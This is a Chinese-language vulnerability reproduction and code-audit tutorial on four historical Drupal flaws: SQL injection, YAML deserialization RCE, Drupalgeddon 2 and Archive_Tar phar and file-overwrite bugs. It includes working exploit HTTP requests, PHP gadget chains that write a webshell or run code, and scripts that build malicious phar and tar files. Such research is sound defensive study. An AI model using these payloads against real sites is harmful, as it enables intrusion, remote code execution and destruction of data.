网安教育
培养网络安全人才
技术交流、学习咨询
在具体分析Drupal的历史漏洞之前,可能需要先大致了解一下Durpal的整个工作流程,这里推荐三篇文章:
https://blog.csdn.net/u011474028/article/details/53021051
https://blog.fleeto.us/post/drupal-from-request-to-response/
http://blog.topsec.com.cn/关于drupal8系列框架和漏洞动态调试深入分析/
影响版本
Drupal < 7.32
环境安装
从官网中下载Drupal 7.31版本的源码
1https://www.drupal.org/project/drupal/releases/7.31
使用MAMP Pro搭建站点后,更改数据库的相关配置:
访问本地IP:8080端口,使用默认安装配置即可。
验证安装成功:
在不登录的情况下,验证payload:
1POST /?q=node&destination=node HTTP/1.1
2Host: your-ip:8080
3Accept-Encoding: gzip, deflate
4Accept: */*
5Accept-Language: en
6User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
7Connection: close
8Content-Type: application/x-www-form-urlencoded
9Content-Length: 120
10
11pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
漏洞分析
我们可以从上面这张图中看出,漏洞的触发点是在user.module文件中的user_login_authenticate_validate()这个函数。
下断点调试,查看函数调用栈:
这个函数在2149行对准备将提交的name参数进行SQL语句拼接:
继续跟进db_query函数,此时payload存储在args数组中
调用query()函数,在这个函数中,继续调用expandArguments进行实质的SQL语句拼接
此时query已经是拼接后的SQL语句
最后执行SQL
在mysql monitor工具中可以看到具体的执行语句
影响版本
Drupal 8 < 8.3.3
环境安装
从官网中下载Durpal 8.3.0版本的源码
1https://www.drupal.org/project/drupal/releases/8.3.0
使用MAMP Pro集成环境搭建,更改php.ini配置,打开Yaml扩展:
查看PHPINFO验证是否开启Yaml扩展:
必须在配置文件中启用yaml.decode_php,否则无法复现成功。
1yaml.decode_php = 1
登录管理员账号
访问http://127.0.0.1:8080/admin/config/development/configuration/single/import
POC:!php/object "O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:" GuzzleHttp\Psr7\FnStream methods";a:1:{s:5:"close";s:7:"phpinfo";}s:9:"_fn_close";s:7:"phpinfo";}"
成功执行phpinfo
漏洞分析
查看官方的commit记录可以发现漏洞的触发点:
可以看到8.3.4版本的decode函数新增了一段代码,其作用主要就是改变PHP配置文件中的yaml.decode_php=0,那么我们就跟进这个文件:
漏洞所在函数decode的触发点代码就是上图中调用yaml_parse这个函数,其中$raw参数直接被带入yaml_parse函数中,看一下官方文档对于这个函数的描述:
第一个参数是需要parse成yaml的文档流,并且这个参数是从这个函数外部输入的。另外,在官方文档的下方有一个对这个函数的特别说明:
意思就是如果使用了!php/objecttag,yaml_parse会对第一个参数调用unserialize(),如果要禁止这样做,就通过设置yaml.decode_php来处理,这就是官方补丁在decode函数前面加的那几行代码。
因此,这个远程代码执行漏洞的罪魁祸首就是yaml_parse函数可能会用反序列化的形式来处理输入的字符串,从而导致通过反序列化类的方式来操作一些危险类,最终实现代码执行。
那么控制decode函数的参数$raw就可以出发这个漏洞。回溯定位decode函数的调用位置,在core/lib/Drupal/Component/Serialization/Yaml.php文件中
在第34行该函数调用了getSerializer函数,跟进到第48行,首先判断是否存在yaml扩展,如果存在的话就使用YamlPecl类,然后调用这个类中的decode函数,也就是会调用yaml_parse函数。
继续回溯调用Yaml::decode函数的地方,全局查找一共有36处地方:
其中外部可控的地方只有一处,位于ConfigSingleImportForm.php文件中。
这里对外部输入的import值进行Yaml::decode操作,那么这就是漏洞的数据触发点。
既然是反序列化,那么就需要找到一个可以反序列化的类。全局搜索__destruct或__wakeup关键字,一般而言__destruct更容易利用。
1/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
通过反序列化这个类可以造成写入webshell,但是利用过程相比后面两个而言更为麻烦一点。PHPGGC已经包含了这个gadget,拿过来稍微改一下
1<?php
2
3namespace GuzzleHttpCookie
4{
5 class SetCookie
6 {
7 private $data;
8
9 public function __construct($data)
10 {
11 $this->data = [
12 'Name' => 'ca01h',
13 'Value' => 'ca01h',
14 'Expires' => 1,
15 'Discard' => false,
16 'Domain' => $data
17 ];
18 }
19 }
20
21 class CookieJar
22 {
23 private $cookies = [];
24 private $strictMode;
25
26 public function __construct($data)
27 {
28 $this->cookies = [new SetCookie($data)];
29 }
30 }
31
32 class FileCookieJar extends CookieJar
33 {
34 private $filename;
35 private $storeSessionCookies = true;
36
37 public function __construct($filename, $data)
38 {
39 parent::__construct($data);
40 $this->filename = $filename;
41 }
42 }
43$new = new FileCookieJar('/Users/ca01h/Desktop/shell.php', '<?php @eval($_POST[1]);?>');
44 echo '!php/object ' . '"' . addslashes(serialize($new)) . '"';
45}
1/vendor/symfony/process/Pipes/WindowsPipes.php
反序列化这个类可以造成任意文件删除。
1/vendor/guzzlehttp/psr7/src/FnStream.php
反序列化这个类可以实现无参数RCE。
1<?php
2namespace GuzzleHttpPsr7
3{
4 class FnStream
5 {
6 private $methods;
7
8 public function __construct(array $methods)
9 {
10 $this->methods = $methods;
11
12 // Create the functions on the class
13 foreach ($methods as $name => $fn) {
14 $this->{'_fn_' . $name} = $fn;
15 }
16 }
17 }
18
19 $new = new FnStream(array("close" => "phpinfo()"));
20 echo '!php/object ' . '"' . addslashes(serialize($new)) . '"';
21}
22
影响版本
Drupal 7 < 7.58
Drupal 8.3.x < 8.3.9
Drupal 8.4.x < 8.4.6
Drupal 8.5.x < 8.5.1
环境安装
从官网中下载Durpal 8.5.0版本的源码
1https://www.drupal.org/project/drupal/releases/8.5.0
使用MAMP Pro搭建,成功安装后,在不登录的情况下发送如下数据包:
1POST /user/register? element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
2Host: your-ip:8080
3Accept-Encoding: gzip, deflate
4Accept: */*
5Accept-Language: en
6User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
7Connection: close
8Content-Type: application/x-www-form-urlencoded
9Content-Length: 103
10
11form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
漏洞分析
https://research.checkpoint.com/2018/uncovering-drupalgeddon-2/
http://blog.nsfocus.net/cve-2018-7600-drupal-7-x/
http://blog.topsec.com.cn/关于drupal8系列框架和漏洞动态调试深入分析/
http://blog.nsfocus.net/cve-2018-7602-drupal/
https://paper.seebug.org/897/
远程代码执行漏洞/任意文件覆盖漏洞
影响版本
Drupal 9 < 9.0.9
Drupal 8.9 < 8.9.10
Drupal 8.8 < 8.8.12
Drupal 8.x (x≠8)
Drupal 7 < 7.75
漏洞分析
先查看Drupal官方发的漏洞通报:
https://www.drupal.org/sa-core-2020-013
通报中提到,Drupal使用了Archive_Tar第三方PEAR组件,而这个组件最近发布了一版安全更新,那么就先去官方仓库上看看Drupal是怎么修复这个漏洞的。以Drupal 8.9版本为例:
https://git.drupalcode.org/project/drupal/-/commit/1a9383ed9010af01608a5481ad443eb72c1bea7e
可以很明显的看到,Drupal将Archive_tar的版本从1.4.9升级到1.4.11。所以这个漏洞的源头并不是Drupal代码出了问题,而是第三方组件Archive_tar存在缺陷。那我们就主要分析一下Archive_tar的漏洞成因,同样的,去这个组件的GitHub仓库看两个版本的差异点。
https://github.com/pear/Archive_Tar/compare/1.4.9...1.4.11
左边是1.4.9版本的代码,右边是1.4.11版本的代码,漏洞的源头就是在于_maliciousFilename函数中。
作者为了防止反序列化漏洞,过滤了phar://关键字,但明显strpos这种简单的过滤还是太年轻了,可以很容易地用大写来绕过PHAR://exploit.phar,从而导致反序列化漏洞的产生,这就是CVE-2020-28948漏洞的根源。同样CVE-2020-28949漏洞的根源也在这个地方,我们可以使用file://path/to/file/to/be/overwritten协议作为文件名,从而导致文件覆盖的漏洞。
Archive_tar组件也很简单,就一个PHP文件,具体的漏洞成因我们审计这一个文件即可。
一共也就两个地方用到了_maliciousfilename这个函数,一个是_readHeader函数,另一个是_readLongHeader函数。
而从上图可以看到,在_readLongHeader函数中,还是调用了_readHeader函数,所以我们主要分析_readHeader这个函数。
这个函数比较长,但是通读下来,发现就做了一件事情,读取压缩文件的头部信息,这些信息包括checksum、property,其中property包含了filename、mode、uid、gid、size等等字段,将这些信息存储在$v_header中并返回到上一级函数,那么我们就进行回溯工作,看有哪些地方调用了_readHeader这个函数。
全局查找后,发现一共有三个地方,分别是_readLongHeader、_extractList和_extractInString,后两个函数对比一下就可以发现,_extractList是一个较为完整的解压缩过程,那从这里开始分析肯定是没错的。
在1989行调用了readHeader函数,在我们跟踪$v_header['filename']参数之前,由于函数传参较多,而且参数会很大程度上影响程序流程,所以我们调研一下Archive_tar组件使用方法后发现,解压缩主要是用到extract这个函数。
继续跟进extractModify函数
在574行调用了_extractList函数,进入上述所说的实质性解压操作。
根据上图的参数,正常程序流程会进入到2049行的if语句中,并且不会进入到2050行和2062行的if语句中。
接下来在执行2075行的if语句时,调用了file_exsits函数,参数是原本$v_header['filename']的值,此时如果这个值是PHAR://exploit.phar,并且当前文件夹上传了expliot.phar文件,那么就会触发反序列化漏洞。
既然是反序列化操作,那么就需要全局搜索__destruct或者__wakeup函数。
全局搜索析构函数后,继续跟进_close函数
在该函数的最后一部分,当_temp_tarname不为空的时候,会调用unlink删除文件函数,那么这个地方就可以触发任意文件删除的漏洞了。
分析完漏洞成因后,接下来就是编写漏洞利用的脚本了。首先新建一个ca01h_test的文件,内容随意,接下来编写生成Phar文件的PHP代码:
1<?php
2ini_set('phar.readonly','Off');
3class Archive_Tar {
4 public $_temp_tarname;
5 function __construct($_temp_tarname) {
6 $this->_temp_tarname = $_temp_tarname;
7 }
8}
9
10$phar = new Phar('exploit.phar');
11$phar->startBuffering();
12$phar->addFromString('test.txt', 'text');
13$phar->setStub('<?php __HALT_COMPILER(); ? >');
14$tar = new Archive_Tar('ca01h_test');
15$phar->setMetadata($tar);
16$phar->stopBuffering();
17
然后再编写python脚本生成一个压缩文件,其中被压缩的文件名是PHAR://exploit.phar,input_file.txt文件内容随意:
1import tarfile
2tar = tarfile.open('exploit.tar', 'w')
3tar.add('input_file.txt', 'PHAR://exploit.phar')
4tar.close()
最后编写触发漏洞的代码:
1<?php
2 require_once('../Archive/Tar.php');
3
4 $archive = new Archive_Tar('exploit.tar');
5 $archive->extract();
6
运行上面代码后,可以发现ca01h_test文件被删除。
接下来再讨论一下CVE-2020-28948,产生漏洞的原因同时是因为过滤不严,只是触发漏洞的位置不一样而言。
程序在第2151行或2158行调用了fwrite函数,将从压缩文件读出来的文件内容写入到$v_header[filename]文件中,那么这个地方就可能造成任意文件覆盖的漏洞。流程如下:
首先生成一个测试文件,内容随意:
1echo "test" > /tmp/target_file
再用python脚本生成带有恶意payload文件名的压缩文件:
1import tarfile
2tar = tarfile.open('exploit.tar', 'w')
3tar.add('input_file.txt', 'file:///tmp/target_file')
4tar.close()
最后执行同样的漏洞触发代码:
1<?php
2 require_once('../Archive/Tar.php');
3
4 $archive = new Archive_Tar('exploit.tar');
5 $archive->extract();
6
https://github.com/vulhub/vulhub/tree/master/drupal
https://paper.seebug.org/334/
http://blog.topsec.com.cn/关于drupal8系列框架和漏洞动态调试深入分析/
https://kylingit.com/blog/由phpggc理解php反序列化漏洞/
来源:CA01H'S BLOG
原文链接:https://ca0y1h.top/code_audit/PHP/16.Drupal%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0/
版权声明:著作权归作者所有。如有侵权请联系删除
战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!
加QQ(1005989737)找小姐姐私聊哦
本文始发于微信公众号(开源聚合网络空间安全研究院):温故知新之Durpal历史漏洞复现学习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论